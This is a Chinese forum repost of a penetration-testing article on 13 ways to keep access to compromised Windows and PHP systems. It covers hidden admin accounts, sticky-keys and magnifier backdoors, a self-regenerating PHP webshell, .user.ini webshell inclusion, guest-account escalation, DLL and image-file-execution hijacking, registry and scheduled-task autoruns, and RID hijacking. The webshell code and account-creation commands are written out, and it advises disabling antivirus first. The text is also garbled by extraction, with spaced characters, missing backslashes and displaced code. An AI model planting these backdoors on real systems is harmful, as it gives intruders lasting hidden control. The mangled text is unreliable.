搜索

[22247] 2021-08-12_渗透之权限维持的13种方法

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2021-08-12_渗透之权限维持的13种方法 渗 透 之 权 限 维 持 的 1 3 种 方 法 乌 雲 安 全   L e m o n S e c   2 0 2 1 - 0 8 - 1 2 0 x 1   匿 名 用 户 匿 名 用 户 P S ： 通 过 在 用 户 后 面 添 加 $ 符 号 的 形 式 将 用 户 达 到 隐 藏 的 效 果 。 可 以 通 过 注 册 表 或 直 接 用 户 管 理 删 除 隐 藏 的 用 户 。 0 x 2   S h i f t   后 门 后 门 1 .   将   C : W I N D O W S s y s t e m 3 2 d l l c a c h e s e t h c . e x e   删 除 ， 这 个 文 件 夹 中 放 着 缓 存 ， 如 果 不 删 除 就 会 自 动 变 回 去 。 2 .   删 除   C : W I N D O W S s y s t e m 3 2   下 的   s e t h c . e x e   文 件 。 3 .   重 命 名   C : W I N D O W S s y s t e m 3 2   下 的   c m d . e x e   为   s e t h c . e x e   。 4 .   按 下   5 下   s h i f t   即 可 弹 出 管 理 权 限 的   D O S   窗 口 。 0 x 3   放 大 镜 后 门 放 大 镜 后 门 创 建   m a g n i f y . b a t 利 用 b a t 2 c o m   /   c o m 2 e x e ， B a t T o E X E ( 图 形 化 工 具 ) 等 工 具 把 B a t 文 件 转 换 成 e x e 文 件 ， b a t 2 c o m   m a g n i f y . b a t   　 　   #   将 m a g n i f y . b a t 转 换 成 m a g n i f y . c o m   c o m 2 e x e   m a g n i f y . c o m   　 　   #   将 m a g n i f y . c o m 转 换 成 m a g n i f y . e x e 将 生 成 的   m a g n i f y . e x e   分 别 替 换 掉   C : W I N D O W S s y s t e m 3 2 d l l c a c h e   下 的   m a g n i f y . e x e   和 C : W I N D O W S s y s t e m 3 2   下 的   m a g n i f y . e x e 登 陆 时 通 过 组 合 键   W i n + U   调 用 。 上 述 方 法 检 查 及 清 除 上 述 方 法 检 查 及 清 除 其 它 适 用 于 的 辅 助 功 能 还 有 : 1 .   屏 幕 键 盘 ： C : W i n d o w s S y s t e m 3 2 o s k . e x e 2 .   放 大 镜 ： C : W i n d o w s S y s t e m 3 2 M a g n i f y . e x e 3 .   旁 白 ： C : W i n d o w s S y s t e m 3 2 N a r r a t o r . e x e 4 .   显 示 开 关 ： C : W i n d o w s S y s t e m 3 2 D i s p l a y S w i t c h . e x e 5 .   应 用 程 序 开 关 ： C : W i n d o w s S y s t e m 3 2 A t B r o k e r . e x e P S ： 现 在 大 部 分 的 杀 毒 软 件 都 会 监 视 注 册 表 项 来 防 御 这 种 恶 意 行 为 。 0 x 4   隐 藏 属 性 后 门 文 件 隐 藏 属 性 后 门 文 件 将 木 马 文 件 属 性 改 为 “ 隐 藏 ”   ， 伪 装 成 系 统 文 件 或 数 据 库 文 件 等 ， 修 改 时 间 跟 系 统 文 件 时 间 类 似 。 n e t   u s e r   a d m i n i s t r a t o r $   w o a i j i u s h i   / a d d   & &   n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   a d m i n i s t r a t o r $   / a d d @ e c h o   o f f n e t   u s e r   a d m i n i s t r a t o r $   w o a i j i u s h i   / a d d n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   h a c k $   / a d d % W i n d i r % s y s t e m 3 2 n a g n i f y . e x e e x i t 检 查 ` “ H K E Y _ L O C A L _ M A C H I N E S O F T W A R E M i c r o s o f t W i n d o w s   N T C u r r e n t V e r s i o n I m a g e   F i l e   E x e c u t i o n   O p t i o n ” ` 注 册 表 路 径 中 的 程 序 名 称
0 x 5   P H P 内 存 型 木 马 内 存 型 木 马 ( 不 死 马 不 死 马 ) 创 建   i n c _ d a t a _ c o n f i g . p h p   文 件 i g n o r e _ u s e r _ a b o r t ( )   函 数 设 置 与 客 户 机 断 开 是 否 会 终 止 脚 本 的 执 行 。 这 里 设 置 为 t r u e 则 忽 略 与 用 户 的 断 开 ， 即 使 与 客 户 机 断 开 脚 本 仍 会 执 行 。 s e t _ t i m e _ l i m i t ( )   函 数 设 置 脚 本 最 大 执 行 时 间 。 这 里 设 置 为 0 ， 即 没 有 时 间 方 面 的 限 制 。 u n l i n k ( _ _ F I L E _ _ )   删 除 文 件 本 身 ， 以 起 到 隐 蔽 自 身 的 作 用 。 此 脚 本 会 每 5 秒 不 断 的 向 服 务 器 生 成 一 个 “ i n c _ d a t a _ c o n f i g . p h p ” 的 一 句 话 木 马 。 清 除 脚 本 只 需 要 重 启 h t t p 服 务 。 0 x 6   . u s e r . i n i 文 件 构 成 的 文 件 构 成 的 P H P 后 门 后 门 指 定 一 个 文 件 ， 自 动 包 含 在 要 执 行 的 文 件 前 ， 类 似 于 在 文 件 前 调 用 了 r e q u i r e ( ) 函 数 。 而 a u t o _ a p p e n d _ f i l e 类 似 ， 只 是 在 文 件 后 面 包 含 。   使 用 方 法 很 简 单 ， 直 接 写 在 . u s e r . i n i 中 ： 我 们 可 以 借 助 . u s e r . i n i 轻 松 让 所 有 p h p 文 件 都 “ 自 动 ” 包 含 某 个 文 件 ， 而 这 个 文 件 可 以 是 一 个 正 常 p h p 文 件 ， 也 可 以 是 一 个 包 含 一 句 话 的 w e b s h e l l 0 1 . g i f 直 接 访 问 下 面 链 接 即 可 利 用 ： h t t p : / / x x x . b a i d u . c o m / i n d e x . p h p ? c m d = p h p i n f o ( ) ; 0 x 7   使 用 已 经 禁 用 的 使 用 已 经 禁 用 的 g u e s t 账 户 进 行 登 录 账 户 进 行 登 录 控 制 面 板 所 有 控 制 面 板 项 用 户 帐 户 管 理 帐 户 启 用 来 宾 帐 户 0 x 8   D L L   劫 持 劫 持 在 加 载 D L L 过 程 中 ， 系 统 都 是 先 在 程 序 目 录 加 载 D L L ， 如 果 没 有 找 到 就 按 照 规 定 的 顺 序 去 搜 索 ， 但 如 果 D L L 的 路 径 没 有 在 s y s t e m 3 2 中 ， 攻 击 者 就 有 可 能 伪 造 一 个 d l l 被 程 序 加 载 。 系 统 在 使 用 D L L 搜 索 顺 序 取 决 于 世 否 启 用 安 全 的 D L L 搜 索 模 式   。 P S ： W i n d o w s X P 默 认 情 况 下 禁 用 安 全 D L L 搜 索 模 式 。 之 后 默 认 启 用 安 全 D L L 搜 索 模 式 若 要 使 用 此 功 能 ， 需 创 建 H K E Y _ L O C A L _ M A C H I N E S y s t e m C u r r e n t C o n t r o l S e t C o n t r o l S e s s i o n   M a n a g e r S a f e D l l S e a r c h M o d e   注 册 表 值 ， 0 为 禁 止 ， 1 为 启 用 。 S a f e D L L S e a r c h M o d e 启 用 后 ， 搜 索 顺 序 如 下 ： 1 .   从 其 中 加 载 应 用 程 序 的 目 录 、 2 .   系 统 目 录 。 使 用 G e t S y s t e m D i r e c t o r y 函 数 获 取 此 目 录 的 路 径 。 3 .   1 6 位 系 统 目 录 。 没 有 获 取 此 目 录 的 路 径 的 函 数 ， 但 会 搜 索 它 。 4 .   W i n d o w s 目 录 。   使 用 G e t W i n d o w s D i r e c t o r y 函 数 获 取 此 目 录 。 5 .   当 前 目 录 。 6 .   P A T H 环 境 变 量 中 列 出 的 目 录 。 < ? p h p s e t _ t i m e _ l i m i t ( 0 ) ; i g n o r e _ u s e r _ a b o r t ( 1 ) ;     u n l i n k ( _ _ F I L E _ _ ) ; w h i l e ( 1 ) { f i l e _ p u t _ c o n t e n t s ( ' i n c _ d a t a _ c o n f i g . p h p ' , ' < ? p h p   $ a = a r r a y ( $ _ R E Q U E S T [ " c m d " ] = > " 3 " ) ;     $ b = a r r a y _ k e y s ( $ a ) [ 0 ] ;     e v a l ( $ b ) ; ? > ' ) ; s l e e p ( 5 ) ; } ? > a u t o _ p r e p e n d _ f i l e = 0 1 . g i f < ? p h p   @ e v a l ( $ _ G E T [ ' c m d ' ] ) ;   ? > n e t   u s e r   g u e s t   w o a i j i u s h i   & &   n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   g u e s t   / a d d n e t   u s e r   g u e s t   / a c t i v e : y e s       / /   激 活 g u e s t 用 户
S a f e D L L S e a r c h M o d e 禁 用 后 ， 搜 索 顺 序 如 下 ： 1 .   从 其 中 加 载 应 用 程 序 的 目 录 2 .   当 前 目 录 3 .   系 统 目 录 。 使 用 G e t S y s t e m D i r e c t o r y 函 数 获 取 此 目 录 的 路 径 。 4 .   1 6 位 系 统 目 录 。 没 有 获 取 此 目 录 的 路 径 的 函 数 ， 但 会 搜 索 它 。 5 .   W i n d o w s 目 录 。   使 用 G e t W i n d o w s D i r e c t o r y 函 数 获 取 此 目 录 。 6 .   P A T H 环 境 变 量 中 列 出 的 目 录 。 D L L 劫 持 利 用 搜 索 顺 序 来 加 载 恶 意 D L L 以 代 替 合 法 D L L 。 如 果 应 用 程 序 使 用 W i n d o w s 的 D L L 搜 索 来 查 找 D L L ， 且 攻 击 者 可 以 将 同 名 D L L 的 顺 序 置 于 比 合 法 D L L 更 高 的 位 置 ， 则 应 用 程 序 将 加 载 恶 意 D L L 。 可 以 用 来 劫 持 系 统 程 序 ， 也 可 以 劫 持 用 户 程 序 。 劫 持 系 统 程 序 具 有 兼 容 性 ， 劫 持 用 户 程 序 则 有 针 对 性 。 结 合 本 文 的 主 题 ， 这 里 选 择 劫 持 系 统 程 序 。 可 以 劫 持 的 d l l 有 ： l p k . d l l 、 u s p 1 0 . d l l 、 m s i m g 3 2 . d l l 、 m i d i m a p . d l l 、 k s u s e r . d l l 、 c o m r e s . d l l 、 d d r a w . d l l 以 l p k . d l l 为 列 ， e x p l o r e r 桌 面 程 序 的 启 动 需 要 加 载 l p k . d l l ， 当 进 入 桌 面 后 l p k . d l l 便 被 加 载 了 ， 劫 持 l p k . d l l 之 后 ， 每 次 启 动 系 统 ， 自 己 的 l p k . d l l 都 会 被 加 载 ， 实 现 了 持 久 化 攻 击 的 效 果 。 0 x 9   注 册 表 开 机 自 动 启 动 项 注 册 表 开 机 自 动 启 动 项 1 .   L o a d 注 册 键 / /   建 一 个 字 符 串 名 为 l o a d 键 值 2 .   W i n l o g o n U s e r i n i t 注 册 键 找 到 “ U s e r i n i t ” 这 个 键 值 ， 这 个 键 值 默 认 为 c : W I N N T s y s t e m 3 2 u s e r i n i t . e x e ， 后 面 加 路 径 ， 再 加 逗 号 也 可 以 。 这 里 也 能 够 使 系 统 启 动 时 自 动 初 始 化 程 序 。 通 常 该 注 册 键 下 面 有 一 个 u s e r i n i t . e x e ， 但 这 个 键 允 许 指 定 用 逗 号 分 隔 的 多 个 程 序 ， 例 如 “ u s e r i n i t . e x e , O S A . e x e ” （ 不 含 引 号 ） 。 3 .   E x p l o r e r R u n 注 册 键 4 .   R u n S e r v i c e s O n c e 注 册 键 5 .   常 用 注 册 键 测 试 部 分 成 功 执 行 。 H K E Y _ C U R R E N T _ U S E R S o f t w a r e M i c r o s o f t W i n d o w s N T C u r r e n t V e r s i o n W i n d o w s H K E Y _ L O C A L _ M A C H I N E S O F T W A R E M i c r o s o f t W i n d o w s N T C u r r e n t V e r s i o n W i n l o g o n H K E Y _ C U R R E N T _ U S E R S O F T W A R E M i c r o s o f t W i n d o w s N T C u r r e n t V e r s i o n W i n l o g o n H K E Y _ C U R R E N T _ U S E R S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n P o l i c i e s E x p l o r e r R u n H K E Y _ L O C A L _ M A C H I N E S O F T W A R E M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n P o l i c i e s E x p l o r e r R u n H K E Y _ C U R R E N T _ U S E R S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n S e r v i c e s O n c e H K E Y _ L O C A L _ M A C H I N E S O F T W A R E M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n S e r v i c e s O n c e H K E Y _ C U R R E N T _ U S E R S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n H K E Y _ L O C A L _ M A C H I N E S O F T W A R E M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n H K E Y _ L O C A L _ M A C H I N E S O F T W A R E M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n O n c e H K E Y _ C U R R E N T _ U S E R S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n O n c e H K E Y _ L O C A L _ M A C H I N E S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n P o l i c i e s E x p l o r e r R u n H K E Y _ C U R R E N T _ U S E R S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n P o l i c i e s E x p l o r e r R u n
0 x 1 0   计 划 任 务 计 划 任 务 命 令 详 解 ： 关 机 重 启 显 示 效 果 s c h t a s k s   / c r e a t e   / s c   O N L O G O N   / t r   C : W i n d o w s S y s t e m 3 2 c m d . e x e   / t n   t e s t s c h t a s k s   / c r e a t e     < 创 建 新 的 计 划 任 务 > 参 数 ： / s c   s c h e d u l e   < s c h e d u l e > O N L O G O N 每 当 用 户 （ 任 意 用 户 ） 登 录 的 时 候 ， 任 务 就 运 行 。 可 以 指 定 日 期 ， 或 在 下 次 用 户 登 录 的 时 候 运 行 任 务 。 / t r     < T a s k R u n > 指 定 任 务 运 行 的 程 序 或 命 令 。 键 入 可 执 行 文 件 、 脚 本 文 件 或 批 处 理 文 件 的 完 全 合 格 的 路 径 和 文 件 名 ; 如 果 忽 略 该 路 径 ， S c h T a s k s . e x e   将 假 定 文 件 在   S y s t e m r o o t S y s t e m 3 2   目 录 下 。 / t n   < T a s k N a m e > 指 定 任 务 的 名 称
指 定 时 间 运 行 任 务 参 数 详 解 / s t   S t a r t T i m e 以   H H : M M : S S   2 4   小 时 格 式 指 定 时 间 。 默 认 值 是 命 令 完 成 时 的 当 前 本 地 时 间 。 / s t   参 数 只 对 于   M I N U T E 、 H O U R L Y 、 D A I L Y 、 W E E K L Y 、 M O N T H L Y   和   O N C E   计 划 有 效 。 它 只 对 于   O N C E   计 划 是 必 需 的 。 s c h t a s k s 命 令 详 解   s c h t a s k s 常 见 错 误 删 除 计 划 任 务 0 x 1 1   文 件 夹 启 动 文 件 夹 启 动 在 每 次 开 机 或 重 启 的 时 候 就 会 运 行 启 动 文 件 夹 下 的 程 序 。 0 x 1 2   映 像 劫 持 映 像 劫 持 在 下 面 注 册 表 在 此 路 径 下 创 建 一 个 子 项 ， 子 项 的 名 称 为 你 要 劫 持 的   e x e   名 称 ， 比 如 说 c m d . e x e   然 后 创 建 一 个 值 ， 值 名 为 D e b u g g e r ,   值 为 要 执 行 的 恶 意 脚 本 。 运 行   c m d . e x e   时 执 行 成 功 运 行   c a l c . e x e 注 意 ： 这 个 会 让 安 全 软 件 拦 截 ， 所 以 要 先 退 出 杀 软 。 0 x 1 3   R I D   劫 持 劫 持 新 建 一 个 普 通 用 户   a d m i n 在 下 面 注 册 表 中 s c h t a s k s   / c r e a t e   / s c   d a i l y   / s t   0 0 : 0 0 : 0 0   / t r   c a l c . e x e   / t n   t e s t 1 s c h t a s k s   / D e l e t e   / T N   任 务 名 称   / F C : U s e r s p p b i b o A p p D a t a R o a m i n g M i c r o s o f t W i n d o w s S t a r t   M e n u P r o g r a m s S t a r t u p C : P r o g r a m D a t a M i c r o s o f t W i n d o w s S t a r t   M e n u P r o g r a m s S t a r t u p H K E Y _ L O C A L _ M A C H I N E S O F T W A R E M i c r o s o f t W i n d o w s   N T C u r r e n t V e r s i o n I m a g e   F i l e   E x e c u t i o n   O p t i o n s H K E Y _ L O C A L _ M A C H I N E S A M S A M D o m a i n s A c c o u n t U s e r s N a m e s
找 到   a d m i n   对 于 W i n d o w s 系 统 来 说 ， 注 册 表 下 包 含 当 前 系 统 的 所 有 帐 户 列 表 ， 每 个 帐 户 的 默 认 键 值 对 应 该 帐 户 详 细 信 息 的 注 册 表 位 置 ( 即 R I D 的 十 六 进 制 表 示 )   T i p s ： S A M 下 的 注 册 表 选 项 需 要 获 得 s y s t e m 权 限 才 能 读 取 查 看   a d m i n i s t r a t o r   对 应 键 值 ， 数 值 名 称 为 F   ， 数 值 内 容   0 0 3 0   的 位 置 复 制 到   a d m i n   对 应 键 值 ， 数 值 名 称 为 F   ， 数 值 内 容   0 0 3 0   的 位 置 。 点 击 确 定 然 后 关 机 重 启 ， 登 陆   a d m i n   用 户 ， 效 果 图 如 下 ：
一 个 为 渗 透 测 试 与 C T F 而 制 作 的 工 具 集 ， 主 要 实 现 一 些 加 解 密 的 功 能 。 渗 透 工 具 ｜ 提 权 ｜ 内 网 ｜ S R C ｜ C S 端 安 全 测 试 ｜ 安 全 加 固 等 资 料 分 享 A p a c h e   T o m c a t   自 动   W A R   部 署 和   渗 透 测 试 工 具 h a s h 认 证 概 念 与 h a s h 破 解 方 式 ( 工 具 使 用 方 式 ) 蓝 队 攻 防 ｜ 如 何 在 没 有 日 志 的 情 况 下 跟 踪 事 件 ？ 代 码 审 计 相 关 知 识 与 资 料 分 享 渗 透 测 试 情 报 收 集 工 具 w e b l o g i c   漏 洞 扫 描 工 具 s p r i n g 框 架 漏 洞 扫 描 蓝 队 防 守 反 制 欢 迎 关 注 欢 迎 关 注 L e m o n S e c 觉 得 不 错 点 个 觉 得 不 错 点 个 “ 赞 赞 ” 、 、 “ 在 看 在 看 ” 哦 哦
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理